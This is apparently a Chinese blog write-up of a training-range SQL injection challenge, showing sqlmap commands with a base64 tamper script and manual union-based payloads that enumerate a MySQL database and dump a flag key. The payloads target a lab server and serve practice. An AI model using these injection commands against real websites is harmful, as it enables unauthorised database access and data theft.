美文网首页
web训练sql注入中级练习-墨者学堂

web训练sql注入中级练习-墨者学堂

作者: 白先生_bfb1 | 来源:发表于2018-10-30 18:11 被阅读22次

sql注入实战mysql(进阶版)

看这个是base64编码

手工注入注入不出来。。。

使用sqlmap跑提示使用tamper插件(里面有一个base64encode.py)

python2 sqlmap.py -u "http://219.153.49.228:45110/show.php?id=MQo=" --tamper=base64encode.py  --risk 3 --dbms=mysql

暴库

python2 sqlmap.py -u "http://219.153.49.228:45110/show.php?id=MQo=" --tamper=base64encode.py  --risk 3 --dbms=mysql --dbs

出来两个库(information_schema 和 test)

暴表

python2 sqlmap.py -u "http://219.153.49.228:45110/show.php?id=MQo=" --tamper=base64encode.py  --risk 3 --dbms=mysql --tables -D test

爆出data

暴列

python2 sqlmap.py -u "http://219.153.49.228:45110/show.php?id=MQo=" --tamper=base64encode.py  --risk 3 --dbms=mysql --colunmns -T data -D test

爆出 id  main thekey

暴字段

python2 sqlmap.py -u "http://219.153.49.228:45110/show.php?id=MQo=" --tamper=base64encode.py  --risk 3 --dbms=mysql --dump -C "id,main,thekey" -T data -D test

得出key

手工注入

MQo= 是1的base64编码

以下执行的时候都要base64编码,用火狐的hackbar

猜长度

http://219.153.49.228:46170/show.php?id=1 order 2

回显正常 说明长度为2

猜库名

http://219.153.49.228:46170/show.php?id=1 and 1=2 union select 1,database()

猜出库名为test

猜表名

http://219.153.49.228:46170/show.php?id=1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='test'

猜出表名为 data

猜列

http://219.153.49.228:46170/show.php?id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database()

猜出有 id,title,main,thekey

猜字段

http://219.153.49.228:46170/show.php?id=1 and 1=2 union select 1,group_concat(id,'-',thekey) from data

得出key 1-mozhe1f0328cc6f2a60605567e65e5cd

相关文章

  • web训练sql注入中级练习-墨者学堂

    sql注入实战mysql(进阶版) 看这个是base64编码 手工注入注入不出来。。。 使用sqlmap跑提示使用...

  • web训练sql注入-墨者学堂

    最近学习web渗透,看了一些基础,找了些把靶场做,新手,操作可能有不对的地方 sql注入入门 一、access数据...

  • 谈谈sql注入之原理和防护(-)

    谈谈sql注入(二)谈谈sql注入(三)谈谈sql注入(四)所谓SQL注入,就是通过把SQL命令插入到Web表单提...

  • SQL注入原理

    一、SQL注入的概述 定义:SQL注入即是指web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程...

  • 数据库安全之sql注入

    什么是sql注入? SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用...

  • sql简单的union注入

    SQL注入原理 :SQL注入就是web应用程序对用户输入数据合法性的没有判断,攻击者可以在web应用程序中(浏览器...

  • 7.sql注入基础1

    1.1、自己描述一下sql注入原理 SQL注入指web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应...

  • 基于springboot的sql防注入过滤器

    何为SQL注入SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中...

  • 代码审计基础之SQL注入漏洞

    1.SQL注入原理 SQL注入就是攻击者通过把恶意的SQL语句插入到Web表单的输入页面中,且插入的恶意语句会导致...

  • SQL注入三部曲-初级

    目录 什么是SQL注入SQL注入产生的原因SQL注入攻击方式如何进行SQL注入SQL注入三部曲 1.渗透攻防WEB...

网友评论

      本文标题:web训练sql注入中级练习-墨者学堂

      本文链接:https://www.haomeiwen.com/subject/rvfntqtx.html